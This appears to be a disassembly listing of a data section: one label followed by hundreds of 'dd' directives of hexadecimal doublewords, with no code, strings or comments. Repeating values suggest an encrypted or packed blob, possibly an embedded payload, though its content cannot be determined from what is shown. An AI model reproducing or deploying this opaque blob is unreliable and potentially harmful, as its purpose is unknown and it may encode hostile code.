554FF153h dd 4EF9364Ah, 84F76D49h, 0CA0FF14h, 8372FBEEh, 0D24BF39Dh dd 282C5A09h, 0CD25BC5Ch, 0CD5B0128h, 0CD14F587h, 992E6F77h dd 0BD1109D3h, 0E3FEEFFBh, 0ADF5B9F2h, 34B622EEh, 19FBCE0Fh dd 0A140419Fh, 9F2443h, 0BD12BEA6h, 0BD11F0ECh, 0EEC591FBh dd 0B3CAF8Bh, 1123AD74h, 0BD123A82h, 0A1FAFCFBh, 3811FCFBh dd 0F1E63B1Bh, 306A6B04h, 9666333h, 0B3985BEEh, 9CE536B2h dd 0BD63142Bh, 6FA5FCFBh, 45BE909Ch, 65BEED3h, 402B3CAAh dd 3E70B3E9h, 0A8EA1BEEh, 6619C65h, 0A99F97DDh, 431D5506h dd 8AEA3874h, 61CAFB28h, 0D21390Ah, 0BEE0ECF7h, 0BD11F2D3h dd 89C982FBh, 0B7EC12E2h, 0BD11FC08h, 910DBF12h, 12FD6C49h dd 9DB6F92Fh, 0AE9DC305h, 0B7AFC6F7h, 0BD11FC06h, 9704EDC8h dd 0E6531C9Eh, 383B593Ch, 33967B33h, 66795AB8h, 541C7B5Ch dd 8D11FD91h, 0BD11DA70h, 33E65EFBh, 73C7BFC9h, 6111FCFBh dd 9CCC32E3h, 22F70088h, 110B3AAFh, 0D8740F8Dh, 59C71910h dd 7611FCFAh, 34855B7Fh, 7EBCD5Fh, 0FEA55DDAh, 0B6C2BC3Bh dd 0D2499B43h, 3ABA8E74h, 142CB726h, 52F30A27h, 0B6C1DD34h dd 0E512BC43h, 97F41EF2h, 0E94FA6D6h, 0B6C27F82h, 0B6C1E7BBh dd 0B617FE43h, 2B2EEB43h, 3BE6FFB4h, 806A7B0Fh, 2766FEDCh dd 99C1BBB7h, 0D6958B65h, 53AFF2D5h, 38D760B9h, 9E661231h dd 0ABBA8168h, 0D9F36530h, 0C33E407Ch, 0B6C1E3D8h, 2EBA8143h dd 718B66ADh, 0CF70EFF4h, 0B6C1EB54h, 0CB063CBh, 464A54EAh dd 0C73D5D40h, 0B61FFFA9h, 3369EB43h, 0DAF3C436h, 755101Eh dd 0E1E6E967h, 0D023B0D6h, 0B6C1EB5Ah, 3D9F5CFDh, 7C48055Ch dd 928785A4h dd 0B7F767FFh, 6F8D2C52h, 0B61DFE95h, 4F32EB43h, 0CBE47C4Dh dd 39174782h, 86592E95h, 2D0BD4C3h, 45C766EDh, 0C6C1ECEBh dd 0B6C05AD8h, 0F7958442h, 0A2A31CAAh, 897DE005h, 0A547050Bh dd 0D540E221h, 0C63D32E7h, 0D3D432B7h, 9D4EDECh, 7207204Ch dd 0C17CFFC8h, 0D3975A2Ch, 721C3F7Ch, 0E796C9C8h, 0D411D13Dh dd 0ED96CC87h, 5811D9CDh, 723AB774h, 4A1B32C8h, 0D3D432D8h dd 0BC5DB044h, 61A44C11h, 7501F74Ch, 59CB02C8h, 0CDAD4BA8h dd 0D3D4DAA8h, 6215ECB7h, 7501074Ch, 499D02C8h, 0CDAAFCF5h dd 61E63207h, 0D011D9E8h, 0BD904177h, 62D432B7h, 7501074Ch dd 0C8FC02C8h, 93D432B7h, 9A96C807h, 0A311D3F8h, 0BC5BB044h dd 0D3A44C11h, 7219185Ch, 0E2D5AFC8h, 0BC5BB044h, 61A44C11h dd 7501F74Ch, 59CB02C8h, 0CDAD4BA8h, 0D3D4CFA8h, 29F01B7h dd 9B5ADA00h, 0C811B84Ah, 0D3166B77h, 8C1432B7h, 0E4D4F237h dd 0D3CB604Ch, 4FD11EB6h, 0B0F14934h, 0C8D432B7h, 536CC781h dd 69F25A9h, 189F0105h, 0D31F7602h, 0D7F132B7h, 0FCD432B7h dd 0D4970392h, 0FA9343B7h, 9FD432B6h, 8BA18AB2h, 0E394460Fh dd 0D3D4874Ch, 748AC6B6h, 0DA1D219h, 62D43071h, 7501F874h dd 859EC9C8h, 3B11D3F9h, 5B361EFCh, 0ED8A83EAh, 231325B1h dd 0CADCAE8Fh, 8954208h, 61D432B6h, 7502E37Ch, 669EC9C8h dd 0B011D3F9h, 0C9F2AE86h, 619E894Ah, 0CDAAF62Fh, 0B0F6A1D2h dd 61914C14h, 0CDAD4DD8h, 0D310CBC6h, 235432B7h, 31E6CC96h dd 0C11D9E2h, 72670C4Ch, 0D57BC6C8h, 0A6D4ECB7h, 0D3D42EAFh dd 17A112B7h, 0A95DCC18h, 0A955B5B3h, 0D3D41CB3h, 1659F5B7h dd 6AAE0FF9h, 9BF69C7Dh, 0D3D444A8h, 0A1D247B7h, 2F9F5981h dd 8D4BC74Ch, 1F5B5F5Bh, 55A193F2h, 1519EB87h, 0FD968A23h dd 0D311D9DCh, 69D432B7h, 0D43F6179h, 726CE37Ch, 0A6D4ECC8h dd 0D3D42EAFh, 17A112B7h, 0A95DCC18h, 0A955B5B3h, 0D3D41AB3h dd 1659F5B7h, 857E76D0h, 898ECDD1h, 0D411D9E6h, 726ADC5Ch dd 0A8D4ECC8h, 0D3D42EAFh, 17AF12B7h, 0AAADCC1Ah, 0A955B5B3h dd 0D3D416B3h, 17A7EFB7h, 87B8F84Ch, 71821051h, 0D4D4E7AFh dd 721AA45Ch, 0EF89C7C8h, 7A19C7A3h, 5AAD25CBh, 0DF0D0D16h dd 5A9749EFh, 2BB36144h, 0A1006263h, 4E4CD4CEh, 0E9D85FFh dd 0A49CFAC9h, 0F1365A3Eh, 0CD1B8DECh, 0C4E4938Dh, 0A8E9F520h dd 375470D4h, 0CCCF7039h, 73F150A4h, 0CBB5C811h, 0B6F22036h dd 0A4498DD6h, 278E795Dh, 20FF344Bh, 62A203ACh, 9FF4EA80h dd 0BD0A6291h, 0BF39E3ACh, 5BE653B8h, 133E17E4h, 0D4BECA98h dd 0B1270AF8h, 0A7A1B0ECh, 597963E4h, 6711B15Ah, 0E3404FCDh dd 2834D2A8h, 2891F394h, 0C6B2FF4Ah, 89109D0Fh, 0D91FDB66h dd 28E7DB66h, 0AED8FF4Ah, 0BCDD060Fh, 0F5815A31h, 289200C4h dd 0F013524Ah, 92909E31h, 1877A94Ah, 892FF4Ah, 9F241C80h dd 0A79BB796h, 49BB786h, 0DA92FF4Ah, 357B1C98h, 394FB4B4h dd 0F6699F07h, 2892D6B1h, 63544Ah, 5D909E68h, 0C3E293C5h dd 28FB4F31h, 0AA9F714Ah, 2892DC12h, 5924DF4Ah, 0FC2A5280h dd 0FCDA5A46h, 2892DE46h, 5921994Ah, 26C29387h, 8CA46751h dd 5E1E55C3h, 101B1822h, 28909E55h, 9292FF4Ah, 1877A54Ah dd 892FF4Ah, 9F201C9Ch, 0A79BB7B6h, 0EC9BB786h, 0DE92FF4Ah dd 9FB71C94h, 0C24A8FC5h, 680DD031h, 4A450EFAh, 1F2CB671h dd 4022DB90h, 2892FF4Fh, 0AF52A76Ah, 1CBB9CB1h, 1CBB9CC9h dd 2892FF41h, 0A852AB8Ah, 7EF3CDE5h, 0F41B549Ch, 25909E37h dd 0C3B1A3D5h, 0F81B5431h, 92909E68h, 586B004Ah, 71909E59h dd 444EF40Ah, 47993579h, 0BEAF42EDh, 9F0AF252h, 2633175h dd 2CD4E906h, 0DCF9F4ACh, 98F18EF5h, 1113F782h, 3F4D7BFDh dd 98F82FF7h, 110C30B3h, 1E259B5Dh, 0C0EA2FF7h, 110C4103h dd 3875D028h, 3239383Eh, 387639D5h, 0E8B6DBF4h, 3E09EC43h dd 3E09F45Bh, 387639B7h, 0F8B6031Fh, 53DDD99Eh, 0DD75B900h dd 7F0F0231h, 0E7785F5Fh, 387639C3h, 0CB75EBD4h, 387535BCh dd 7B0819D4h, 1E32AFF3h, 1E6AB8D8h, 387544D8h, 7B00F8D4h dd 0B91637F4h, 0C90F0895h, 0D93DA1FDh, 3EF19F91h, 3AE42FF7h dd 0E753FF4Fh, 0CA75EBC3h, 387535BCh, 7B0B19D4h, 1E3AAF0Eh dd 1E6AB8D8h, 38751BD8h, 7B03F3D4h, 545CB8EAh, 937B2237h dd 0E753F737h, 0E8CC22C3h, 0B278DBF9h, 6CF936D4h, 9578DCCBh dd 92996D94h, 3E032A0h, 0EA053142h, 0F52850C9h, 0E20F3FC0h dd 754A63AEh, 8AC14E77h, 497FCB57h, 843AA7Dh, 0ACB22883h dd 0AC68BC61h, 6E2AA640h, 0F7E17141h, 2B0666C9h, 0D9E2DBEFh dd 546D788Ah, 0BC2CCE71h, 0A610A911h, 67864844h, 6D3146EFh dd 0B80F9940h, 7E7A4850h, 1EFBE85Ah, 8FF74242h, 98A218A6h dd 5950214Eh, 4D6E3E85h, 34F03983h, 2A7659FAh, 0DF55DD63h dd 1BF7DEBBh, 8A730F49h, 478C3600h, 30FF9C67h, 7A7BFECFh dd 68F72ACBh, 30FF87CFh, 30FC8107h, 407087CFh, 30FF9C90h dd 16D5ADCFh, 5398346Dh, 0A85DDFA6h, 0A577DFFBh, 4D57F38Ch dd 455455EDh, 661482D4h, 0F499E366h, 7A58FD52h, 4665DD3Ah dd 6DFDDF86h, 66148CC6h, 0F499E366h, 7A58FD52h, 8B10DD3Ah dd 0A54594F5h, 660B32ECh, 0F499E366h, 7A58FD52h, 1EC0DD3Ah dd 0F3D3345Dh, 0A45E9F94h, 0C80A3222h, 0A7E29965h, 6ECDA37Dh dd 0F3DC8DC5h, 0A45E9F94h, 0C80A3222h, 0A7E29965h, 0A545C5EDh dd 53343965h, 0A85DDFA6h, 0A577DFFBh, 3D57F38Ch, 1BB032EDh dd 0A61E91F4h, 992EEF66h, 0B233E430h, 0F6FDAC50h, 0A45E9F94h dd 0C80A3222h, 0A7E29965h, 46A53DC5h, 0A31D95BDh, 992EEF65h dd 0B233E430h, 1B0DA450h, 5465837Dh, 0A85DDFA6h, 0A577DFFBh dd 2C57F38Ch, 686687BEh, 30FF87CDh, 398953D5h, 2 dup(30FF87CFh) dd 3F1087CFh, 67FF87C4h, 21758114h, 12A032E4h, 2377871Ah dd 9AD4BC3h, 80727EF7h, 0C201FA34h, 6D40E3B7h, 0BA69CDF4h dd 7640BBCFh, 7D8251F9h, 1D6C5CFAh, 6ED9EB6Ch, 0A113DF52h dd 1DF930B7h, 15D0C64Ah, 945C8506h, 0AE4E0986h, 878C6B5Bh dd 0BEF0139h, 7F7FC36Ah, 488C7984h, 0A4505CF7h, 468C7876h dd 838C6B15h, 0EABA40E0h, 0E257F66h, 48E74CB2h, 0C706A03Bh dd 0D6134871h, 24D2DBC6h, 0C500F8FBh, 9417DB77h, 1A944B70h dd 18265968h, 0F9D5991Dh, 40963007h, 12F83F0Dh, 0C996B24Ah dd 26FF87CFh, 0DE868360h, 97560688h, 9A0ACDE3h, 0FA5C0CACh dd 8D063007h, 3F4C6F5Dh, 3006B24Ah, 0A9FF87CFh, 5C57E07Dh dd 0B8B820Ah, 0FC925F49h, 0E5814ED9h, 72DF1FE8h, 0EA8EC13Fh dd 0CC68C59Fh, 0E4CB18CAh, 8DA506ECh, 0C1679A80h, 0F8C73B61h dd 0D6E8667Ah, 0D63B3184h, 0A5ACE4E1h, 0A3A0FFD3h, 48867274h dd 524585F7h, 7B11308Ch, 0B11E288Dh, 0D3C163F9h, 91D82E0Bh dd 6BDD319Fh, 8C3B2F1Dh, 0BC6AADB2h, 9AF8D947h, 0D460CB5Eh dd 8AFB1BB3h, 0FC7A1E3Eh, 0FC344C93h, 716C28AFh, 1316DCD2h dd 7E9C4146h, 294C8F22h, 3A4BCA45h, 53897938h, 40AE039Eh dd 30FF8613h, 73A4CB7Bh, 0D6F827BAh, 0EFC326DFh, 635CBC75h dd 0DC866EF7h, 0D51A1BA6h, 0E71914DDh, 5E22E391h, 0D2240E0Ch dd 0C405F706h, 30BEA94h, 0EABA1963h, 0FA78CFB2h, 5E643007h dd 5B0AEA30h, 2E7F36h, 73715D9Eh, 30F245C5h, 0E1111CCFh dd 54D5CDBBh, 0FC240E16h, 6B37F900h, 0CE62B164h, 0A6F53EB0h dd 5EEFFE81h, 6CA9632Dh dd 0C5D1DE43h, 5C57E07Dh, 0D8B3EB23h, 804296E1h, 0EAF85D44h dd 0FBCFF923h, 0C205E8CAh, 0C1C2474Bh, 30FFE77Bh, 6EFD87CFh dd 0CC68B366h, 62E176B7h, 8E0DB9B6h, 0E3D237FAh, 0D5142D3Fh dd 88240E0Ch, 8654A19Ch, 6C2D63FDh, 716CB6A6h, 0F1D377E6h dd 0E9E31EFAh, 8777AC39h, 4055CF4Dh, 53435405h, 69BE925Ch dd 232F70DDh, 0E85E7FFh, 0AC1536A2h, 1D196C68h, 0B79381DEh dd 349BA50Ch, 408E8A79h, 25C2840Fh, 29C01D7Bh, 4D916BFFh dd 91030C77h, 0DE4F75B2h, 0F0EEE9D6h, 0DF1C1E72h, 0F133CEFBh dd 963DCEF8h, 6D0FD349h, 6A6CE863h, 292795D7h, 0D98540FFh dd 8A0C0886h, 0E25B3CF6h, 0E7BC1E1h, 2378A90h, 0F9E9D2B1h dd 3E759C58h, 28C60E3Eh, 4D05573Bh, 2F90177Ch, 75FA87CFh dd 16BC507Fh, 1682411Fh, 64134CAh, 0E5D023F1h, 0E976ADA7h dd 0DB80AB3Bh, 0F29BE9BDh, 0FAF24DFAh, 776123A5h, 0E34026BAh dd 15F136A1h, 0EFFEDFEAh, 0DC6E0FD8h, 0E011BBACh, 1D64226Ch dd 25C285DAh, 329F5E28h, 1D6422FFh, 0BAF015Fh, 0CDB57EF7h dd 6A766CEAh, 1ED950EBh, 36466D64h, 0D60CCDAFh, 0B7FF87CFh dd 13861BF0h, 0BFBAAA45h, 96578237h, 2EC98B60h, 3AE84F75h dd 19930DF3h, 0E6A65F29h, 4AA40E0Dh, 47CB048Eh, 0B5A40E0Eh dd 0F83B1429h, 51A40E0Dh, 8861D76Eh, 223B7A5h, 0BF2AD51Ch dd 30FCD987h, 0D0240E0Dh, 0FBC3A434h, 0BE7E3007h, 0CC0DC764h dd 30FFB7F0h, 35BA7ACFh, 395DA63Fh, 0FA854EE0h, 0C1221F1Eh dd 0FBC27B23h, 0E733007h, 0CFEB39E9h, 0C48A253Bh, 5A5ED68Fh dd 0F1235D3Dh, 514E05FAh, 91019F3Dh, 1E979E3Ch, 84973DE2h dd 0C14E9548h, 0AF690856h, 29245AD8h, 9A0AADFFh, 0B8446EACh dd 7A47317Eh, 72DC39FBh, 0AFF1637Bh, 1A490DB1h, 3736967Dh dd 67589EFFh, 3702E322h, 0F8F24DFFh, 0D716700Bh, 1194810Ah dd 804658C5h, 3847999Bh, 267AE676h, 3070CEC5h, 9D929CB4h dd 9B178942h, 0FFCD44C9h, 131A40F5h, 54BD5C68h, 0F2AD8EB1h dd 6209A3B5h, 79866E0Eh, 1D1995F6h, 94D2CA50h, 0D546A271h dd 0C5D1DE43h, 1E9D40F0h, 36C2687Ch, 7CB4EBF9h, 0ECF4A12Fh dd 3EC3A434h, 35B536B5h, 0D22A6526h, 0D11AF706h, 94FD46D8h dd 0F2A3CDB5h, 901DEE77h, 0CEFA2FCCh, 0D66742E0h, 142A11E5h dd 5FADE367h, 67E396ABh, 29B5A810h, 0A5A45802h, 0B93B0276h dd 0B8636DDAh, 8D211701h, 8301D584h, 0D6F82CB9h, 0F529F4DFh dd 2CABE16Fh, 0E667561Fh, 0CC0DA8B6h, 0A709AFDBh, 252E385Dh dd 3034F128h, 0C02387CFh, 5238069Fh, 63BF43A6h, 32AEE17Dh dd 3BEA7F1Dh, 33A1E768h, 3DB07D00h, 36A2E66Ah, 3DB07D01h dd 35AFE56Ah, 3CE98002h, 33A1E76Fh, 61771887h, 30FBC848h dd 597287CFh, 24CE04CBh, 24F6FD03h, 30FE7717h, 24FEFECFh dd 0C7FB7A4Ah, 0D59663B3h, 0B9F728FEh, 837163CBh, 3CA913CBh dd 413E06EBh, 0D1FF87CFh, 30FF7E62h, 5C906CFh, 2E492C12h dd 5310872h, 0C6492C12h, 0F16510CAh, 837F0EEBh, 30FF87CBh dd 0D8DB32BEh, 30FBC248h, 151087CFh, 636670E1h, 4F8AFCEh dd 83F27D29h, 393EA6BEh, 821C36A0h, 277430DDh, 8C5F8A5h dd 0C6A2F8F7h, 65552CA6h, 758F4F79h, 82B53799h, 18995BBCh dd 10CA8051h, 6560691Eh, 30304CA8h, 0A6BB474Ah, 0C1542D31h dd 5A026964h, 0DED23A60h, 0DFA13192h, 9F3F3753h, 7F572185h dd 0CE69F88Ch, 125524A8h, 64F05401h, 38FD1A72h, 0E90C409Ch dd 0A005399Ah, 8A70096Bh, 0E2B83255h, 2A5F63DBh, 0D1D55ED6h dd 0BA734CDBh, 479C4598h, 688F8611h, 30FF87CAh, 0D5310FEFh dd 44DE4230h, 44DE4248h, 30FF87D6h, 0AB31160Fh, 0E681D374h dd 0DD25A748h, 47C7D930h, 2F497D1Ch, 30F29E16h, 0CDDF87CFh dd 0AB77278Ah, 37883EBh, 30C383EBh, 0D5BE87CFh, 745BBA8Ah dd 545A839Fh, 0B99DA569h, 644BF86h, 4F72ADAh, 0DAFF8617h dd 42CA15CFh, 10FF87CFh, 0C785C71Dh, 0AFFA623Bh, 9FA620Bh dd 6FF87CFh, 0F49AC715h, 3D1D4CCAh, 0BEF5E200h, 30FF87C6h dd 609BAF2Fh, 859F279Dh, 0CBCB6D44h, 30FF87B0h, 0D5F221CFh dd 30FF8397h, 818567CFh, 24E6FD1Eh, 24BE06CBh, 30FE50CBh dd 818D44CFh, 729D85FBh, 0B5050A1Ah, 2547F2Fh, 0B9F72AB1h dd 0CB210074h, 746526B0h, 478C38ECh, 46530130h, 94667D1Ch dd 47836800h, 19A7EAB0h, 2F497D1Ch, 3FAFD5BEh, 70AA7D1Ch dd 0A5FD7292h, 0B2B3574Dh, 0E40578B1h, 25BE607h, 70A1264Ch dd 8AB96DA9h, 0E8880198h, 0AAD6DCCEh, 0EC7E1C16h, 0DDC78AB6h dd 238782Bh, 0D74F6C4Ah, 0BBCC3AA4h, 0CAECF817h, 971CE0A0h dd 0AB20C52Dh, 0AA2F2459h, 5EEF7129h, 18099759h, 3C8853D8h dd 0C0938DFBh, 0C44EEA6Dh, 552D26F0h, 1C2B040Eh, 52CB3961h dd 9476949Bh, 3A0AC54Fh, 6158E939h, 0F82170E9h, 5C142B67h dd 6158D506h, 1189E489h, 5A56C571h, 6158DF05h, 3189E489h dd 5A56C570h, 615DB305h, 6589E489h, 5A56C577h, 61580705h dd 7989E489h, 5A56C69Eh, 6158DB05h, 69916C89h, 6056C6A8h dd 4F095198h, 6A75ED89h, 0E658ED89h, 4B1AEC59h, 62D4630Ch dd 0A82FED89h, 5B954FE1h, 615D9205h, 0A966A89h, 0E658ED89h dd 1957D5FBh, 0E831C20Ch, 0E957FEDAh, 1989D40Ch, 62AC5198h dd 191FED89h, 62A36798h, 1C1FED89h, 62AB6C98h, 0FD7ED89h dd 0E5B48F85h, 0A5B285Dh, 6158D652h, 0E0B15689h, 0C956C7CEh dd 6158ED86h, 0FFD0C88h, 59701D8Ch, 0BE58ED89h, 2BCC7FCh dd 87DE412Ah, 6E0E5A1Eh, 0C9F3C772h, 23DE7994h, 615D9D16h dd 7A1D560Ch, 0F0FD3DEh, 5A00E188h, 6E3CA636h, 3075C272h dd 0B658ED89h, 727D027Bh, 1AAB8E53h, 6EF1D0E8h, 3224FE5Bh dd 77A22A09h, 3214F70Ah, 0CDD6B8F8h, 59F1CE8Eh, 0B05F70Ah dd 3A6DC9A3h, 6158EC71h, 0A132A5B1h, 0D8406333h, 6D4A6BDCh dd 0B0C6881h, 0D853DDF2h, 6E3D2E0Eh, 4F09F172h, 0A19EED89h dd 0E206527Ah, 51C7C751h, 418AB2FDh, 0E056C684h, 51C7C349h dd 0E1BD3AFDh, 0B2CD561h, 0E189D888h, 0C35B2888h, 0E84D120Ah dd 0CEF5DE0Ah, 87D96002h, 0BB2093EFh, 0AC4662DBh, 0AE43B76Ah dd 0A3F24B88h, 8A4E6AB5h, 0CEF56AD2h, 1AF234ABh, 0CE3EB767h dd 0D1F6AE02h, 27C1BFA5h, 74F09C1h, 2CC2075Eh, 0BD994388h dd 653A0983h, 97C46F05h, 0AD6331EAh, 60B2504Eh, 9EF3ED11h dd 0E379B11Eh, 70CFD39Dh, 668CE5C1h, 7079766Ah, 2593BE6Bh dd 0AF560383h, 0A1C6AE01h, 0CEF6AFD6h, 0D138DD6Dh, 0A4FC3774h dd 269741E1h, 0A37FE430h, 3 dup(0A37F41E1h), 0A7AE3AE1h dd 0CD4B41E1h, 0DA63781Dh, 0AC0A4500h, 0C84D722Ah, 0E4F14D2Fh dd 0B0690AF3h, 0ECF4ACF9h, 359D9CC4h, 4880B8F5h, 2EEAABB0h dd 2DB47D7Fh, 0AA2E687Eh, 33E88F6h, 960C6125h, 28C08D54h dd 5DC2FA34h, 50F18E71h, 1FF76959h, 91DE6757h, 65FEA677h dd 0D295B4EFh, 66CB4C9Bh, 0FDEEE2EFh, 61E4478Eh, 5FFAAB59h dd 0FC5477A8h, 63DF21Bh, 0FA4BA024h, 9EBC0D29h, 0AADEE4h dd 2EAADA10h, 74E24F8Ch, 0B3144F7Eh, 8447CB05h, 0DC135283h dd 8747CB05h, 3BEC1559h, 25521EFh, 7344DCC9h, 0E148134Dh dd 58CC73F1h, 6F9CB653h, 0F28A865Dh, 47A14DC0h, 7F2D6958h dd 0CD550A97h, 0A910341Dh, 0DB8A865Eh, 852E5200h, 0D6E79168h dd 7B76A09Fh, 289FF318h, 1B3B53FDh, 0A4D5212Dh, 0DAE541E1h dd 0F99AEA25h, 81F66D8Ah, 5C3AE127h dd 0BA187CBBh, 27CC06B5h, 0A37F9E2Dh, 0DA1441E1h, 68EFF82Bh dd 0DAC27E7Dh, 1EE22528h, 7135E1F6h, 0BB05DAA2h, 0DA1A676Dh dd 0D17E242Fh, 5C0E3CA8h, 0AA0E54BBh, 645424FFh, 43F64D04h dd 0CA83E5ECh, 86DE7FE3h, 0B4FEFF65h, 2CC75B19h, 0F4E99A57h dd 2B389AB0h, 563753B0h, 63B17492h, 9BB519Ch, 0F231F2EBh dd 0BEB255B9h, 81D50107h, 63E4F6A6h, 134A8680h, 535E3CD0h dd 0A706A091h, 0ECB7FFFDh, 0E85C8FBDh, 0A37F3F4Dh, 0C852FEABh dd 32E5E0EDh, 658AE471h, 805AEC3Fh, 0C276E90Bh, 6F11106Dh dd 0C276E904h, 8404656Dh, 63CE6C32h, 2160C92Fh, 0D7FCEE91h dd 0A3787E3Fh, 53DF2E1h, 491F623Fh, 0B545EE4Ah, 13EE910Ah dd 3B92EDDEh, 56374C25h, 498DE18Dh, 0F08A8746h, 7F77EB3Bh dd 33C2F827h, 91B5C70h, 50FFFB70h, 65BA6959h, 69560AF6h dd 0A52224FCh, 0F77F41E1h, 9357F627h, 6A271747h, 0DADA446Ah dd 0EBBE2629h, 11DCC191h, 923273B2h, 572BCD6Fh, 12BD7AACh dd 47EC95EAh, 0FB4E29B9h, 99526D1Ah, 0E125454Dh, 4E163343h dd 0E07A0574h, 7C441E05h, 545434DCh, 65360EF3h, 3CF431E1h dd 0CB28E3D3h, 0C65F7022h, 0CA6F3224h, 6E222BDDh, 0AFAEC388h dd 0CE45FBDFh, 76F684E1h, 0BFCFE50Ah, 0AF782792h, 79D6ED1Ch dd 0A8B1E55Ch, 0E78FBD8Eh, 0A41B0709h, 0DA9F4B20h, 0A372F5A8h dd 6623C3E1h, 0E8F14D68h, 40BA211Fh, 57206C9Dh, 0CB819915h dd 7A32BDB0h, 0EEBD50F4h, 0B83B98D8h, 90696423h, 0BA68D645h dd 0A865D0EEh, 76CDA057h, 0C5150F55h, 98DD11Dh, 796E5F5Eh dd 0F07FAF0Eh, 2280302h, 90F6DE44h, 8D55F501h, 0A533B3E8h dd 0DA9F67BDh, 0A378A683h, 332396E1h, 0E0654455h, 0A8607055h dd 2A225D46h, 0A93BE959h, 0F5392936h, 270A8737h, 5D1D7D7Ch dd 894F124Bh, 6EE07056h, 48913188h, 0F75226ECh, 0A4630780h dd 0CA841E1h, 0D12EB64Bh, 57205DE8h, 0C71F1166h, 0B825683Ah dd 0A87597C2h, 0AF6E267Bh, 78234110h, 0C7605633h, 824BDA04h dd 54496F57h, 7B056445h, 0C64525F0h, 0C0360E0Ch, 1EF3785Fh dd 0B24C8C8h, 0CBFCBC31h, 2C775762h, 89470EF4h, 9C6A2067h dd 96F036BBh, 68CBF91Ah, 5871A383h, 0D144BDEAh, 0ED758FF6h dd 23A46A99h, 0C565C7B1h, 0C8F1D5D2h, 83B83F26h, 0A8174B5Ah dd 0C6988BBh, 657673E2h, 0C0ED513Fh, 66260352h, 2F3A4D68h dd 0E520687Eh, 6FBE73CEh, 43AAE2A4h, 71CB56E6h, 3FB6BC6Ah dd 44C390D0h, 0AF0241E0h, 0AF0DC8D0h, 38A0115Ch, 119B9872h dd 0DA2DD1F9h, 8753A59Ah, 387EC13Fh, 4D277B11h, 19BC75B6h dd 0D140EE70h, 38ECBDD2h, 49E6E873h, 7E57F603h, 0DEF205F1h dd 0A37F14D9h, 0B9BEE4E1h, 8C56F320h, 0A1240A40h, 9753F202h dd 73DA185Bh, 91A21F1Ch, 73DA1854h, 92A1201Ch, 90D91955h dd 9753F301h, 99F4C2DAh, 0CC7F41E1h, 0C56774A5h, 0A4E3D463h dd 0B0FC41E1h, 8834957Eh, 99F49255h, 37CCA40Ah, 0DEF1330Ah dd 0A37F1A7Eh, 0A4E62A62h, 0A06041E1h, 8063BC9Dh, 49B2FE9Dh dd 0E1F2ED3Bh, 302A2F5Ch, 4A572F37h, 6D1FB958h, 539A4BF3h dd 74D542AEh, 5BA67848h, 88848A4Dh, 0A4E3D362h, 0AFF241E1h dd 0A37F1A7Eh, 25CCA40Ah, 5A5874A5h, 0A4D7E01h, 4CD9C589h dd 59588701h, 5BC35C04h, 0E2F2370Ah, 0A37F1A7Eh, 0A4E3D662h dd 806041E1h, 574DBC9Dh, 0C567899Dh, 0A4E3D463h, 0E8F241E1h dd 0A37F1A7Eh, 60C36C08h, 0BF2ECFEAh, 81C74BE1h, 952B5DE4h dd 7AC62D2Dh, 0FC345A13h, 49114CABh, 0C47CD37Ch, 43BDF2B5h dd 372FA3B6h, 4599A3D3h, 39D88F01h, 0B0E7CE3h, 0C485C23h dd 50E54D72h, 55404FC3h, 877F6C13h, 0A6794898h, 7B809316h dd 806C2794h, 729386E0h, 0A40E74EEh, 1479DC3Eh, 0A37FE1E4h dd 17h dup(0A37F41E1h), 47BA41E1h, 6C7F4085h, 0A37F0B58h dd 3E355069h, 55863D8Ah, 0F53A3FF4h, 6DE6E158h, 0A34851D5h dd 3E37146Ah, 55823D8Ah, 2AC23FF4h, 76C39877h, 688AD5BBh dd 55D3FB8Dh, 51E0FA82h, 0EDB6C696h, 0BB073274h, 0B0076631h dd 0C73314A2h, 0AD04656Dh, 6AC894C4h, 0E2E67E2h, 0AC3834A1h dd 8F520D2Ah, 0A4AB76BFh, 0CE8573Dh, 178A8746h, 72E5B6EEh dd 6086537Ch, 0FFDCBB52h, 0B538B6E5h, 250516h, 888A8632h dd 0C4472709h, 0F8B562EEh, 15D573A0h, 2588C4B9h, 9B20472Dh dd 8E1C1C32h, 1E27472Eh, 0ED090A57h, 3D782A17h, 71E758ACh dd 8A6C6654h, 83B8132Ah, 6D76415Ah, 574EF154h, 0C04CDA69h dd 48CEC3F8h, 680BBBCDh, 56D63251h, 0D5AC53EEh, 5BE4E0EDh dd 3D2F1372h, 0A4416FCEh, 55E2D0F6h, 6C00E55Ch, 0C55C152Dh dd 98A8C77Bh, 0BE6FA892h, 55E2D082h, 86D3C461h, 4D13ACABh dd 5A157EA4h, 98AF3026h, 62EACB92h, 0F5077763h, 0C752C7CCh dd 7FB71C4Ah, 852461B9h, 9F5652A8h, 0CFDEEA27h, 0EB6F167Eh dd 0A18A88E4h, 79C79399h, 367057EBh, 0D5F6408Eh, 61D90F4Eh dd 6E1B3D5Bh, 5C079C62h, 0A5530ABBh, 0BF5921CCh, 51096E15h dd 9F4A2E0Eh, 0C227FCh, 3AE12629h, 3BB1898Fh, 0A37F5A33h dd 0E81B67E1h, 1924F62Fh, 0CC9B38A2h, 62F67D8Ch, 0DE95AE1h dd 0FC8A866Dh, 4CAD2717h, 61D5D754h, 0E2796959h, 5F71B795h dd 3F52E3BDh, 0C8B0ED7Fh, 0C0366731h, 2DE6C8B6h, 0FD7F41E1h dd 9A694C4Bh, 61D5D755h, 43D96959h, 0B3569D9Fh, 0BD6EF0A7h dd 6E1D8ECBh, 61D5D754h, 0E2796959h, 0A93D4F05h, 1CBB0C2Bh dd 4A04594Ah, 57259536h, 0CE9762ACh, 0C4D1D1FBh, 262217B9h dd 0B39BFC36h, 0AA96A62Ah, 4847875Bh, 0FD558C81h, 32A611EFh dd 5454F2C8h, 0D380B8F4h, 5BCF7F7Ch, 2CC7694Fh, 0F26BCC12h dd 0DA9F4C92h, 45EFE5DAh, 8B5D9FAFh, 0CE77FD0Bh, 7F7F41E3h dd 40F2F154h, 0C78A8746h, 9F7602F8h, 8566000Ah, 0A94F8196h dd 0E1C6EAF0h, 678A8737h, 0A93BEF5Fh, 61A4B6FFh, 75E36959h dd 5F2C6D7Dh, 50F7C473h, 0BB906959h, 409D8EBCh, 66E885C0h dd 0F57D4946h, 9F4A2EB6h, 0F3C227FCh, 0D819A05Dh, 0AB4D281Ch dd 0A37F3F4Ah, 0E0E12EC2h, 1E4DD80Ah, 0E003D8F7h, 0B917B776h dd 0EB9C4C4Bh, 5F2733FFh, 5C0BA7C9h, 923FFABBh, 2A816B21h dd 330D6959h, 6E1DCA50h, 6D1ED606h, 73885BABh, 0AC46FD24h dd 5D974DC2h, 1FB80787h, 79E6C8B5h, 0FD7F41E1h, 9A694C4Bh dd 23DF155h, 43F66C71h, 0BC68DE4Bh, 